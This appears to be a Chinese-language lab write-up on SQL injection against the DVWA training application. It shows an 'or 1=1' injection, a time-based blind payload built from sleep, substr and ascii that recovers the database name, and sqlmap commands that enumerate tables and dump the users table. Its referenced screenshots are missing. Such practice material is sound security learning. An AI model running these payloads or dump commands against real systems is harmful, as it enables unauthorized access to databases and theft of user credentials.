1.非盲注(页面显示查询结果):
通过burpsuite抓包,获取到post形式请求的id参数有漏洞,并直接用“or 1=1”获取到全部的用户名信息:
2.盲注:
利用sleep(5)函数,substr()函数,ascii()函数等判断:如下:
Payload: id =2 and if(ascii(substr(database(),1,1))=100, sleep(5), null)
,当database()返回的当前数据库名第一个字符的ascii值是100,即为’d’时,那么执行sleep(5)暂停5秒 才返回。观察请求返回时间,判断是否第一个字符为’d’。如下:
箭头所指的地方是response,在响应,说明第一个字符是’d’。后续利用同样的方法判断,得到’dvwa’数据库名。
3.用sqlmap测试:
(1)先将发送的请求头(这里以盲注请求头为例)保存为一个request.txt文件,并放置在sqlmap目录下
(2)在cmd下输入:
python sqlmap.py -r request.txt -p id
, 得到输出:
由上面可看出,sqlmap已经将后台的数据库,服务器及漏洞参数信息测试出来。
(3)然后输入:
python sqlmap.py -r request.txt -p id --dbms mysql --current-db
(4)然后列出当前数据库中的表:
Python sqlmap.py -r request.txt -p id --dbms mysql -D dvwa --tables
,得到如下图所示的表:(5)然后列出响应表的字段内容:
python sqlmap.py -r request.txt -p id --dbms=mysql -D dvwa -T users --dump
可看到已经将users表中的数据打印并保存到C盘目录下一个csv文件里,找到打开: